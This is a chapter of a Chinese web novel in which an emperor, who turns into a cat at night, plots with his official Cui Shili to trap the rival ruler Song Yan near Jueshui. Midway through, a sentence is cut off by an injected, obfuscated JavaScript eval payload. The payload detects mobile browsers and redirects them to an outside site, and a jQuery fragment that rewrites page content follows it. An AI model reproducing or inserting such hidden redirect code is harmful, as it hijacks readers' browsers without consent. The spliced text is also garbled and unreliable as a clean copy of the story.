15.以身为饵
作品:《寡人落入敌手的日日夜夜》 旁的宫人们听到殿内动静,吓得噤若寒蝉,心中庆幸着方才当值的不是自己个儿,进去的不是自己个儿。
宫人们你看我我看你,眼神交流一番,然后均是摇摇头。
齐白玉面容带笑,声音很轻,甚至都夹上了,细声细气道:“你别害怕,寡人不是要治你的罪。这样罢,你若是说出一个厌恶寡人的名字,寡人就赏你一块金饼,如何?”
“陛下!”宫女毫无喜色,也不见贪色,落叶般震颤着,哭诉道:“陛下,婢子真的不知啊,婢子想不出啊……”
宫人们又是你看看我我看看你,心道陛下开始试探了,这决计是不能中圈套的,否则不只小命不保,怕是还要累及全族啊。
“陛下!陛下!”正在此时,有小太监兴高采烈跑进来:“启禀陛下,六喜回来了!崔大人也在殿外候着,请求拜见陛下。”
齐白玉被分散了注意力,长身而起道:“真叫寡人好等啊,请崔大人进来罢。”
崔十里入内,宫女这才得以活命,磕了头退出去。
崔十里泡了药浴,筋骨放松,脚步稳健,脑袋里也觉得清醒了不少。他进了大殿,立刻拜倒在地,严肃的道:“陛下,臣有罪。”
“先起来。”齐白玉上前把他拽起来:“耳石症复位之后不可以这么大幅度的晃头低头,小心再复发。”
崔十里面有愧色,臊的通红,听了齐白玉这话更是无地自容。
“陛下!臣有罪!”崔十里道:“臣道听途说人云亦云,旁人指鹿为马,臣不明是非,着实糊涂,还请陛下降罪。”
民间素有当今陛下齐白玉的恶名,贪杯好色小肚鸡肠好大喜功等等,流言蜚语不少。朝中大臣们不敢当面斥责陛下,背地里嘀咕的却也不少。
崔十里悔恨的道:“臣竟是听信了那些重伤陛下的谣言,误会了陛下,觉得陛下……陛下……臣一度以为,陛下给臣升官实为故意刁难。如今想来,陛下定然是有陛下的深意。”
“呵……呵呵……”
齐白玉干笑,尽量让自己看起来笑容自然。
愧疚的可不只崔十里,当然还有齐白玉。
崔十里说的没错,先前所谓的升官,便是“齐白玉”故意刁难于他,一点误会也没有。
齐白玉稍微了解了一下“自己”做过的那些事情,被叫一声昏君的确不为过。
鸿胪寺卿乃是负责外交的官员,崔十里原本职位隶属司空,擅长修建制造。他个性耿直坦荡,不够圆滑玲珑,理论上全然不适合鸿胪寺卿这一职务。
因着前任鸿胪寺卿得罪了齐白玉被降罪,这一职位空缺,陛下便将崔十里给调了过来。
崔十里升了官,却不对口,和他擅长之处八竿子打不着,一干部下也不服年轻的掌官,再加上他最近压力过大患了耳石症,不论生活还是公事皆浑浑噩噩。
其实崔十里猜测的不错,他便是因为得罪了陛下,才会被如此升迁。前些日子昏君齐白玉偶然巧遇,见他年轻俊美,清高孤傲,当下色心大起,便传召崔十里到跟前,想要他主动献身。
只可惜崔十里正的发邪,根本没能听懂昏君话中意思,还把昏君气个半死,便想要随便找个得趣的办法好好整治他一番。
于是……
“寡人的确是有深意的。”齐白玉一本正经的咳嗽:“寡人就是想要磨练磨练你,现在看来,你的确是个人才。”
“陛下谬赞,臣实在愧对陛下。”崔十里深深一礼。
齐白玉道:“无妨,之前的事情就不要再提了,眼下寡人有重要的事情想要交给你来完成。”
崔十里道:“臣必然鞠躬尽瘁死而后已。”
“来来。”齐白玉对他招招手,展开案几上的手绘地图:“你来看看这张地图。”
崔十里皱眉沉默,过了半晌,道:“臣愚钝,这……”
齐白玉挠挠下巴,画的的确是有些潦草了,说:“现在你是自己人了,寡人要告诉你一个机密。”
崔十里洗耳恭听,齐白玉便将宋砚打算埋伏出游行猎队伍的事情大体讲述一遍。
崔十里当下恍然大悟,道:“陛下英明!原来这一切都是陛下的计谋。”
朝臣们最近怨声载道,陛下非要出游行猎,且是临时起意,这一来一回仓促的厉害,还要花费大量人力财力,可谓劳民伤财。
为了此事,齐白玉可没少在背地里被骂一句昏君。
崔十里道:“陛下不惜损伤圣明,以自身为饵,原是计划放长线钓大鱼,吸引宋国贪婪鼠辈的袭击。如此,再来一出将计就计,就可将宋国小人一网打尽!”
“嗯。”齐白玉深沉点头:“寡人就是这个意思。”以前不知道,但现在的确就是这个意思。
齐白玉用食指中指点点地图:“如今可靠探子回报,宋国那暴君宋砚将会亲自带人埋伏,这便是大体的埋伏地点。所以崔爱卿,你可看得出此地具体是什么地方?”
“这……”崔十里为难:“请陛下容臣细看。”
此地应是在行猎场地附近,必然是在大齐境内。宋砚今晚便会离开都城,时间紧迫,齐白玉必须早些行动,让人去埋伏在此周围。
崔十里比对着齐国地图看了又看,道:“回陛下,臣觉得这应该是觉水。”
“觉水?”齐白玉睁大眼睛,真的能看得出来?那看来寡人手画地图也没有那么潦草。
崔十里道:“在三年之前,臣游历觉水,在此处帮忙修建过一座石桥,对此处的山水有些了解,故而觉得颇为相似,十有八九,错不了的。”
觉水是个小地方,山多水多,听说土匪横行,地方官员也没什么大本事,管理的比较松懈,的确是个埋伏的不二之地。
齐白玉听崔十里大体描述了一番这小地方,双眸游鱼一般快速转动,笑着道:“土匪横行?那很好啊,不如寡人便派一队人,假装土匪,出其不意将宋砚那卑鄙小人擒住。”
“陛下英明。”崔十里道。
崔十里身上没有红色纹身,性格又很是耿直,齐白玉觉得他是可用之人,便将乔装土匪这等大事全全交给了他。
正巧大臣们都知崔大人病病殃殃,好些日子没能上朝。便叫崔十里继续装病,也好暗地里将一切部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301494|181184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
署缜密。
“朝中宫中应还有一些宋国细作,”齐白玉沉吟:“如今这事情必须秘密行动,便只能全赖爱卿你了。”
崔十里受宠若惊,只觉血脉翻涌,着实上头。
他当下正色道:“臣绝不会让陛下失望的。”
齐白玉拍拍他的肩膀,道:“对了,也要注意身体,耳石症不能太过劳累。至于宋国那边……”寡人会想办法拖住他们的脚程。
陛下召见了崔十里崔大人,两人在殿内闭门相处,一处就是一整个下午。旁人不知殿内情况,难免窃窃私语脑补一二,然后再你传我我传你,奇怪的谣言便这么传开了。
六喜显然也误会了去,等崔大人离开,他垂手入内,轻声询问:“陛下,可是传晚膳?”
齐白玉摆摆手:“晚膳就罢了,寡人还不饿。寡人有些乏了,要沐浴休息。”
“是,陛下。”六喜道。
齐白玉不是不饿,而是时间紧迫。眼看着就要天黑,还是洗洗睡了,等变成猫到了宋砚身边,再去吃个夜宵。
最近两日,陛下是歇息的越来越早,只要天黑必然熟睡。六喜思忖着,也是如此的,一点也不奇怪,谁叫陛下白日里玩的太花太烈,体力不支也是人之常情。
齐白玉盖好被子,平躺在龙榻上悠悠坠入梦想。
嗬——
“喵——”
下一刻齐白玉又睁开眼睛,嘴里发出奶声奶气的叫唤。
“贪睡的小东西,可算醒了。”有人轻轻戳了戳他的小鼻头,动作暧昧又宠溺。
齐白玉仰头,果不其然,对上宋砚那双狭长似狐狸的双眼。今日的宋砚束发玉冠,一身黑色劲装,和平日慵懒随意的模样大相径庭。
胸口的衣服层层叠叠一丝不苟,小猫下意识的扒拉了两下,裹得这么严实,还怎么吸收阳气?
“一醒来就调皮,是不是。”宋砚抓住他的小爪子,拉过去就亲了一下。
齐白玉邦邦两拳,抬手就打。很可惜,宋砚显然早有准备,一下也没能打中。
小猫给了他一对白眼,扭过头开始观察四周。果然已经离开宋国皇宫,眼下他们身在一处临时扎起的帐篷内,也不知具体走到哪里了。
觉水那地方在齐国境内,从齐国都城快马加鞭需要三日路程,并不算太远。至于从宋国都城过去,大抵十日左右。
齐白玉的时间比宋砚充裕。
帐外有侍卫的声音道:“主子,雨停了,一切准备妥当,可以继续上路了。”
原来外面下雨了,小猫吸了吸鼻子,果然闻到一股泥土的潮湿味道。方才外面下了大雨,他们不好冒雨赶路,宋砚下令暂时扎营,如今雨停,看起来是又要上路。
齐白玉眼珠子一转,当下“喵~~~”的惨叫一声。
宋砚口中“启程”二字没能说出,注意力已然被耍宝的小猫咪吸引。
宋砚问道:“怎么了白玉?”
小猫伸出右后腿,指了指,浮夸又痛苦:“喵奥~”好痛~
指了指,又拖着后腿在地上艰难的往前爬,朝着宋砚一点点爬过去。